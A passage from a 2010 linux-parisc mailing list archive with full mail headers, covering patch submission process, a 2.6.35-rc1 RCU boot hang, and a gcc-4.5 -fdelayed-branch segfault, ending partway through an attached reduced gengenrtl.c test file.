Xref: news.gmane.org gmane.linux.ports.parisc:2899
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2899>

On Fri, Jun 4, 2010 at 7:28 AM, Kyle McMartin <kyle@mcmartin.ca> wrote:
> I promise to be a lot quicker at sucking patches in and getting them
> around if we can tighten up our process a bit.

Thanks for writing this up!

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: patch submission
Date: Fri, 4 Jun 2010 16:35:58 +0200
Lines: 18
Approved: news@gmane.org
Message-ID: <AANLkTimqf9_214v7Hp9NWiy57mYXENO0JLprsYDjMrGk@mail.gmail.com>
References: <20100604112826.GA20317@bombadil.infradead.org> 
	<AANLkTimZ55-bGn3OZpFKrbVvXXsCX5XYDh8kT6nTU0-b@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: dough.gmane.org 1275662189 2567 80.91.229.12 (4 Jun 2010 14:36:29 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 4 Jun 2010 14:36:29 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, linux-parisc@vger.kernel.org
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 04 16:36:28 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OKY0Z-0004Nq-By
	for glpp-linux-parisc@lo.gmane.org; Fri, 04 Jun 2010 16:36:27 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756348Ab0FDOgZ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 4 Jun 2010 10:36:25 -0400
Original-Received: from mail-ww0-f46.google.com ([74.125.82.46]:52554 "EHLO
	mail-ww0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755767Ab0FDOgZ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 4 Jun 2010 10:36:25 -0400
Original-Received: by wwb28 with SMTP id 28so918751wwb.19
        for <linux-parisc@vger.kernel.org>; Fri, 04 Jun 2010 07:36:23 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:mime-version:sender:received
         :in-reply-to:references:from:date:x-google-sender-auth:message-id
         :subject:to:cc:content-type;
        bh=GN1WDGh+5ctoqDHiFV92zszbK7GmXS3Q0dkX7aDVtyc=;
        b=NbL6tBL17KxrnIfpB8MSX/0QOqg0Aq2jxylF6hXsoKXLYfFyilLBEQulJ2osOfp9oR
         pTkvGv8m+JWHS1h7XkUSj6DyipZ/G4iMAcf+aGpaO5jCQEwl3jVhSdQ+LUDn0uBnVSBb
         dKuYlg2QecuACpjDqLjHGIHkTWumLaYXHTQ9Y=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:from:date
         :x-google-sender-auth:message-id:subject:to:cc:content-type;
        b=dJnonH+4/Ve4lamHNkTA4QH/byhGA46km2mbnTtlJgTKO+IvzjbjVS8oNpNM12Q1G9
         wkNC3HvqjVxcH1XJQTkHpU5cTe5h7W46JGzOUijSSGTkTmBoLhXwYMmIyQIJ98bCoMjY
         3WgDcmWG5kdTTok2ZBSroGAkvyR0P0immyVmc=
Original-Received: by 10.216.172.204 with SMTP id t54mr310453wel.44.1275662178540; Fri, 
	04 Jun 2010 07:36:18 -0700 (PDT)
Original-Received: by 10.216.85.142 with HTTP; Fri, 4 Jun 2010 07:35:58 -0700 (PDT)
In-Reply-To: <AANLkTimZ55-bGn3OZpFKrbVvXXsCX5XYDh8kT6nTU0-b@mail.gmail.com>
X-Google-Sender-Auth: k0F_Pc6iCDzPwMJFV9ebKAr7WYU
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2900
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2900>

On Fri, Jun 4, 2010 at 2:57 PM, Carlos O'Donell <carlos@systemhalted.org> wrote:
> On Fri, Jun 4, 2010 at 7:28 AM, Kyle McMartin <kyle@mcmartin.ca> wrote:
>> I promise to be a lot quicker at sucking patches in and getting them
>> around if we can tighten up our process a bit.
>
> Thanks for writing this up!

I'd be tempted to think that this would be nice wiki material, but I'm
under the impression that nobody would care anyway... ;^P

-- 
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: patch submission
Date: Fri, 4 Jun 2010 09:47:05 -0600
Lines: 31
Approved: news@gmane.org
Message-ID: <20100604154705.GC5153@lackof.org>
References: <20100604112826.GA20317@bombadil.infradead.org> <AANLkTimZ55-bGn3OZpFKrbVvXXsCX5XYDh8kT6nTU0-b@mail.gmail.com> <AANLkTimqf9_214v7Hp9NWiy57mYXENO0JLprsYDjMrGk@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1275666439 18441 80.91.229.12 (4 Jun 2010 15:47:19 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 4 Jun 2010 15:47:19 +0000 (UTC)
Cc: Carlos O'Donell <carlos@systemhalted.org>,
	Kyle McMartin <kyle@mcmartin.ca>, linux-parisc@vger.kernel.org
To: Thibaut VARENE <T-Bone@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 04 17:47:17 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OKZ77-00031D-4A
	for glpp-linux-parisc@lo.gmane.org; Fri, 04 Jun 2010 17:47:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752495Ab0FDPrP (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 4 Jun 2010 11:47:15 -0400
Original-Received: from complete.lackof.org ([198.49.126.79]:34476 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752493Ab0FDPrO (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 4 Jun 2010 11:47:14 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id 119B333E0280;
	Fri,  4 Jun 2010 09:47:14 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id xLKMBX7+5a6i; Fri,  4 Jun 2010 09:47:05 -0600 (MDT)
Original-Received: by complete.lackof.org (Postfix, from userid 27253)
	id 0EDF133E027A; Fri,  4 Jun 2010 09:47:05 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <AANLkTimqf9_214v7Hp9NWiy57mYXENO0JLprsYDjMrGk@mail.gmail.com>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2901
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2901>

On Fri, Jun 04, 2010 at 04:35:58PM +0200, Thibaut VARENE wrote:
> On Fri, Jun 4, 2010 at 2:57 PM, Carlos O'Donell <carlos@systemhalted.org> wrote:
> > On Fri, Jun 4, 2010 at 7:28 AM, Kyle McMartin <kyle@mcmartin.ca> wrote:
> >> I promise to be a lot quicker at sucking patches in and getting them
> >> around if we can tighten up our process a bit.
> >
> > Thanks for writing this up!
> 
> I'd be tempted to think that this would be nice wiki material, but I'm
> under the impression that nobody would care anyway... ;^P

Kyle's summary was much easier reading than what's already in
Documentation/SubmittingPatches. So pasting that into a wiki
page would be good.

thanks,
grant

> 
> -- 
> Thibaut VARENE
> http://www.parisc-linux.org/~varenet/
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 2.6.35-rc1 and RCU
Date: Fri, 4 Jun 2010 11:50:33 -0400
Lines: 13
Approved: news@gmane.org
Message-ID: <20100604155033.GC20317@bombadil.infradead.org>
References: <20100604094405.GM28492@bombadil.infradead.org> <4C08E5FE.80905@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1275666641 19268 80.91.229.12 (4 Jun 2010 15:50:41 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 4 Jun 2010 15:50:41 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 04 17:50:38 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OKZAJ-00031D-CD
	for glpp-linux-parisc@lo.gmane.org; Fri, 04 Jun 2010 17:50:35 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751719Ab0FDPuf (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 4 Jun 2010 11:50:35 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:36683 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750849Ab0FDPue (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 4 Jun 2010 11:50:34 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1OKZAH-0003bv-H7; Fri, 04 Jun 2010 15:50:33 +0000
Content-Disposition: inline
In-Reply-To: <4C08E5FE.80905@gmx.de>
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2902
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2902>

On Fri, Jun 04, 2010 at 01:39:42PM +0200, Helge Deller wrote:
> On 06/04/2010 11:44 AM, Kyle McMartin wrote:
> > Did anyone else see a hang on 2.6.35-rc1 just after RCU initializes?
> 
> Yes, I did see this as well.
> 

Cool, next time I reboot I'll see if initcall_debug helps.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: gcc-4.5 -fdelayed-branch strikes back
Date: Fri, 4 Jun 2010 18:17:12 +0200
Lines: 25
Approved: news@gmane.org
Message-ID: <20100604181712.43456ddb@borg.bxl.tuxicoman.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1275668283 25614 80.91.229.12 (4 Jun 2010 16:18:03 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 4 Jun 2010 16:18:03 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 04 18:18:00 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OKZaq-0003AJ-3Y
	for glpp-linux-parisc@lo.gmane.org; Fri, 04 Jun 2010 18:18:00 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751523Ab0FDQR7 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 4 Jun 2010 12:17:59 -0400
Original-Received: from fb2.tech.numericable.fr ([82.216.111.50]:38307 "EHLO
	fb2.tech.numericable.fr" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751487Ab0FDQR7 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 4 Jun 2010 12:17:59 -0400
Original-Received: from smtp4.tech.numericable.fr (smtp4.nc.sdv.fr [10.0.0.60])
	by fb2.tech.numericable.fr (Postfix) with ESMTP id C499B954B
	for <linux-parisc@vger.kernel.org>; Fri,  4 Jun 2010 18:17:57 +0200 (CEST)
Original-Received: from ibiza.bxl.tuxicoman.be (cable-85.28.107.20.coditel.net [85.28.107.20])
	by smtp4.tech.numericable.fr (Postfix) with ESMTP id A0DBF12A804
	for <linux-parisc@vger.kernel.org>; Fri,  4 Jun 2010 18:17:16 +0200 (CEST)
Original-Received: from [2001:6f8:310:301::1] (helo=borg.bxl.tuxicoman.be)
	by ibiza.bxl.tuxicoman.be with esmtps (TLS1.0:DHE_RSA_AES_128_CBC_SHA1:16)
	(Exim 4.71)
	(envelope-from <gmsoft@tuxicoman.be>)
	id 1OKZa5-0002Mz-7X
	for linux-parisc@vger.kernel.org; Fri, 04 Jun 2010 18:17:15 +0200
X-Mailer: Claws Mail 3.7.5 (GTK+ 2.18.9; x86_64-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2903
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2903>


Hi team,

While trying to build gcc-4.5, `gengenrtl -h` segfaults.
As you know, gengenrtl is built using the new gcc during stage 2.

I've been doing several tests and using BOOT_FLAGS="-O2
-fno-delayed-branch" allows gcc to build correctly.

I'll try to provide a testcase but I'm usually unsuccessful while
trying to do so.

Is there any known issue with -fdelayed-branch ?

I know about PR38740 but the fix should be included in 4.5 by now.

Any other useful debug I can provide ?

Thanks,
  Guy
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: gcc-4.5 -fdelayed-branch strikes back
Date: Fri, 4 Jun 2010 15:32:28 -0400 (EDT)
Lines: 36
Approved: news@gmane.org
Message-ID: <20100604193229.473BB515D@hiauly1.hia.nrc.ca>
References: <20100604181712.43456ddb@borg.bxl.tuxicoman.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1275679969 3090 80.91.229.12 (4 Jun 2010 19:32:49 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 4 Jun 2010 19:32:49 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: gmsoft@tuxicoman.be (Guy Martin)
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 04 21:32:32 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OKcd5-0004Cz-GR
	for glpp-linux-parisc@lo.gmane.org; Fri, 04 Jun 2010 21:32:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752139Ab0FDTca (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 4 Jun 2010 15:32:30 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2855 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752069Ab0FDTca (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 4 Jun 2010 15:32:30 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 473BB515D; Fri,  4 Jun 2010 15:32:29 -0400 (EDT)
In-Reply-To: <20100604181712.43456ddb@borg.bxl.tuxicoman.be> from "Guy Martin" at Jun 4, 2010 06:17:12 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2904
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2904>

> While trying to build gcc-4.5, `gengenrtl -h` segfaults.
> As you know, gengenrtl is built using the new gcc during stage 2.
> 
> I've been doing several tests and using BOOT_FLAGS="-O2
> -fno-delayed-branch" allows gcc to build correctly.

Could you post your exact configure and bootstrap commands, and
the bootstrap compiler used?

I have been building 4.5 without problems.  There is an issue with asms
that is unresolved that would affect kernel builds.  It may be your
bootstrap compiler is broken.  Because of this, I wouldn't recommend
4.5 for kernel builds.  The annoying thing abour this bug is it doesn't
appear with checking enabled and didn't appear until 4.5 was released.
It's possible this is a delayed branch issue.

> I'll try to provide a testcase but I'm usually unsuccessful while
> trying to do so.
> 
> Is there any known issue with -fdelayed-branch ?

No.

> I know about PR38740 but the fix should be included in 4.5 by now.

The fixes for this PR are in 4.3 and later.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: gcc-4.5 -fdelayed-branch strikes back
Date: Sat, 5 Jun 2010 11:58:08 +0200
Lines: 400
Approved: news@gmane.org
Message-ID: <20100605115808.0ff33504@borg.bxl.tuxicoman.be>
References: <20100604181712.43456ddb@borg.bxl.tuxicoman.be>
	<20100604193229.473BB515D@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="MP_/gB_c5.Lwoxc/98Zr7iuyfXM"
X-Trace: dough.gmane.org 1275731903 393 80.91.229.12 (5 Jun 2010 09:58:23 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 5 Jun 2010 09:58:23 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jun 05 11:58:21 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OKq8y-0001F4-Vg
	for glpp-linux-parisc@lo.gmane.org; Sat, 05 Jun 2010 11:58:21 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932720Ab0FEJ6U (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 5 Jun 2010 05:58:20 -0400
Original-Received: from smtp6.tech.numericable.fr ([82.216.111.42]:56123 "EHLO
	smtp6.tech.numericable.fr" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932688Ab0FEJ6R (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 5 Jun 2010 05:58:17 -0400
X-Greylist: delayed 63659 seconds by postgrey-1.27 at vger.kernel.org; Sat, 05 Jun 2010 05:58:16 EDT
Original-Received: from ibiza.bxl.tuxicoman.be (cable-85.28.107.20.coditel.net [85.28.107.20])
	by smtp6.tech.numericable.fr (Postfix) with ESMTP id CDC8F14401A;
	Sat,  5 Jun 2010 11:58:15 +0200 (CEST)
Original-Received: from [2001:6f8:310:301::1] (helo=borg.bxl.tuxicoman.be)
	by ibiza.bxl.tuxicoman.be with esmtps (TLS1.0:DHE_RSA_AES_128_CBC_SHA1:16)
	(Exim 4.71)
	(envelope-from <gmsoft@tuxicoman.be>)
	id 1OKq8m-0003lE-KJ; Sat, 05 Jun 2010 11:58:14 +0200
In-Reply-To: <20100604193229.473BB515D@hiauly1.hia.nrc.ca>
X-Mailer: Claws Mail 3.7.5 (GTK+ 2.18.9; x86_64-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2905
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2905>

--MP_/gB_c5.Lwoxc/98Zr7iuyfXM
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Content-Disposition: inline


Hi Dave,

I've stripped down gengenrtl.c to the maximum and I'm able to reproduce
the issue with the attached file.

I've observed the following :
gcc -O2  -> Segv
gcc -O2 -fno-delayed-branch -> OK
gcc -O1 -> OK
gcc -O1 -freorder-blocks -> Segv
gcc -O1 -freorder-blocks -fno-delayed-branch -> OK
gcc -O0 -freorder-blocks -fdelayed-branch -> OK

For reference, the build break when compiled the following way :
make -j2 LDFLAGS="-Wl,-O1" STAGE1_CFLAGS="-O"
LIBPATH=/usr/lib/gcc/hppa2.0-unknown-linux-gnu/4.5.0 BOOT_CFLAGS="-O2
-pipe -march=2.0" bootstrap-lean 

HTH,
  Guy


On Fri, 4 Jun 2010 15:32:28 -0400 (EDT)
"John David Anglin" <dave@hiauly1.hia.nrc.ca> wrote:

> > While trying to build gcc-4.5, `gengenrtl -h` segfaults.
> > As you know, gengenrtl is built using the new gcc during stage 2.
> > 
> > I've been doing several tests and using BOOT_FLAGS="-O2
> > -fno-delayed-branch" allows gcc to build correctly.
> 
> Could you post your exact configure and bootstrap commands, and
> the bootstrap compiler used?
> 
> I have been building 4.5 without problems.  There is an issue with
> asms that is unresolved that would affect kernel builds.  It may be
> your bootstrap compiler is broken.  Because of this, I wouldn't
> recommend 4.5 for kernel builds.  The annoying thing abour this bug
> is it doesn't appear with checking enabled and didn't appear until
> 4.5 was released. It's possible this is a delayed branch issue.
> 
> > I'll try to provide a testcase but I'm usually unsuccessful while
> > trying to do so.
> > 
> > Is there any known issue with -fdelayed-branch ?
> 
> No.
> 
> > I know about PR38740 but the fix should be included in 4.5 by now.
> 
> The fixes for this PR are in 4.3 and later.
> 
> Dave


--MP_/gB_c5.Lwoxc/98Zr7iuyfXM
Content-Type: text/x-c++src
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename=gengenrtl.c

/* Generate code to allocate RTL structures.
   Copyright (C) 1997, 1998, 1999, 2000, 2002, 2003, 2004, 2007
   Free Software Foundation, Inc.

This file is part of GCC.

GCC is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation; either version 3, or (at your option) any later
version.

GCC is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or
FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
for more details.

You should have received a copy of the GNU General Public License
along with GCC; see the file COPYING3.  If not see
<http://www.gnu.org/licenses/>.  */


#include <string.h>
#include <stdio.h>
#include <libiberty.h>
#define gcc_unreachable() __builtin_unreachable()

struct rtx_definition
{
  const char *const enumname, *const name, *const format;
};

/* rtl.def needs CONST_DOUBLE_FORMAT, but we don't care what
   CONST_DOUBLE_FORMAT is because we're not going to be generating
   anything for CONST_DOUBLE anyway.  */
#define CONST_DOUBLE_FORMAT ""

#define DEF_RTL_EXPR(ENUM, NAME, FORMAT, CLASS) { #ENUM, NAME, FORMAT },

 const struct rtx_definition defs[] =
{
DEF_RTL_EXPR(UNKNOWN, "UnKnown", "*", RTX_EXTRA)
DEF_RTL_EXPR(VALUE, "value", "0", RTX_OBJ)
DEF_RTL_EXPR(DEBUG_EXPR, "debug_expr", "0", RTX_OBJ)
DEF_RTL_EXPR(EXPR_LIST, "expr_list", "ee", RTX_EXTRA)
DEF_RTL_EXPR(INSN_LIST, "insn_list", "ue", RTX_EXTRA)
DEF_RTL_EXPR(SEQUENCE, "sequence", "E", RTX_EXTRA)
DEF_RTL_EXPR(ADDRESS, "address", "e", RTX_MATCH)
DEF_RTL_EXPR(DEBUG_INSN, "debug_insn", "iuuBieie", RTX_INSN)
DEF_RTL_EXPR(INSN, "insn", "iuuBieie", RTX_INSN)
DEF_RTL_EXPR(JUMP_INSN, "jump_insn", "iuuBieie0", RTX_INSN)
DEF_RTL_EXPR(CALL_INSN, "call_insn", "iuuBieiee", RTX_INSN)
DEF_RTL_EXPR(BARRIER, "barrier", "iuu00000", RTX_EXTRA)
DEF_RTL_EXPR(CODE_LABEL, "code_label", "iuuB00is", RTX_EXTRA)
DEF_RTL_EXPR(NOTE, "note", "iuuB0ni", RTX_EXTRA)
DEF_RTL_EXPR(COND_EXEC, "cond_exec", "ee", RTX_EXTRA)
DEF_RTL_EXPR(PARALLEL, "parallel", "E", RTX_EXTRA)
DEF_RTL_EXPR(ASM_INPUT, "asm_input", "si", RTX_EXTRA)
DEF_RTL_EXPR(ASM_OPERANDS, "asm_operands", "ssiEEEi", RTX_EXTRA)
DEF_RTL_EXPR(UNSPEC, "unspec", "Ei", RTX_EXTRA)
DEF_RTL_EXPR(UNSPEC_VOLATILE, "unspec_volatile", "Ei", RTX_EXTRA)
DEF_RTL_EXPR(ADDR_VEC, "addr_vec", "E", RTX_EXTRA)
DEF_RTL_EXPR(ADDR_DIFF_VEC, "addr_diff_vec", "eEee0", RTX_EXTRA)
DEF_RTL_EXPR(PREFETCH, "prefetch", "eee", RTX_EXTRA)
DEF_RTL_EXPR(SET, "set", "ee", RTX_EXTRA)
DEF_RTL_EXPR(USE, "use", "e", RTX_EXTRA)
DEF_RTL_EXPR(CLOBBER, "clobber", "e", RTX_EXTRA)
DEF_RTL_EXPR(CALL, "call", "ee", RTX_EXTRA)
DEF_RTL_EXPR(RETURN, "return", "", RTX_EXTRA)
DEF_RTL_EXPR(EH_RETURN, "eh_return", "", RTX_EXTRA)
DEF_RTL_EXPR(TRAP_IF, "trap_if", "ee", RTX_EXTRA)
DEF_RTL_EXPR(CONST_INT, "const_int", "w", RTX_CONST_OBJ)
DEF_RTL_EXPR(CONST_FIXED, "const_fixed", "www", RTX_CONST_OBJ)
DEF_RTL_EXPR(CONST_DOUBLE, "const_double", CONST_DOUBLE_FORMAT, RTX_CONST_OBJ)
DEF_RTL_EXPR(CONST_VECTOR, "const_vector", "E", RTX_CONST_OBJ)
